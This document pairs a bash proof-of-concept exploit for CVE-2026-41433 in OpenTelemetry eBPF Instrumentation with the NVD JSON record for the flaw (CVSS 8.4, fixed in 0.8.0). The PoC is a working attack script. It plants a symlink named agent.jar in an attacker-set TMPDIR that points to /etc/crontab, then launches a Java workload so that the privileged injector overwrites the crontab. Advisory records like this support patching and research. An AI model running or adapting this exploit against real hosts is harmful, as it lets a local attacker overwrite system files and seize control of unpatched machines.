CVE-2026-41433

#!/bin/bash # PoC for CVE-2026-41433: Arbitrary File Overwrite via Symlink in OpenTelemetry eBPF # Preconditions: OBI is running with elevated privileges and Java injection is enabled. TARGET_FILE="/etc/crontab" ATTACKER_TMP_DIR="/tmp/poc_cve_2026_41433" # 1. Setup malicious environment mkdir -p "$ATTACKER_TMP_DIR" # 2. Create a symlink pointing to the target system file we want to overwrite # The injector expects to write a file here, but the symlink redirects the write ln -sf "$TARGET_FILE" "$ATTACKER_TMP_DIR/agent.jar" # 3. Execute Java workload with the manipulated TMPDIR # The attacker controls this workload export TMPDIR="$ATTACKER_TMP_DIR" java -jar target_app.jar & # 4. OBI detects the Java process, reads TMPDIR, and attempts to inject # Result: The content intended for agent.jar is written to /etc/crontab echo "[*] Exploit setup complete. Waiting for OBI injection..."

{"cve": {"id": "CVE-2026-41433", "sourceIdentifier": "[email protected]", "published": "2026-04-24T20:16:27.803", "lastModified": "2026-05-14T16:31:47.687", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenTelemetry eBPF Instrumentation provides eBPF instrumentation based on the OpenTelemetry standard. From 0.4.0 to before 0.8.0, a flaw in the Java agent injection path allows a local attacker controlling a Java workload to overwrite arbitrary host files when Java injection is enabled and OBI is running with elevated privileges. The injector trusted TMPDIR from the target process and used unsafe file creation semantics, enabling both filesystem boundary escape and symlink-based file clobbering. This vulnerability is fixed in 0.8.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H", "baseScore": 8.4, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.0, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}, {"lang": "en", "value": "CWE-59"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:opentelemetry:opentelemetry_ebpf_instrumentation:*:*:*:*:*:go:*:*", "versionStartIncluding": "0.4.0", "versionEndExcluding": "0.8.0", "matchCriteriaId": "0EB079AD-FCC7-45B1-AEDF-66A539013EED"}]}]}], "references": [{"url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/releases/tag/v0.8.0", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-8gmg-3w2q-65f4", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://github.com/open-telemetry/opentelemetry-ebpf-instrumentation/security/advisories/GHSA-8gmg-3w2q-65f4", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}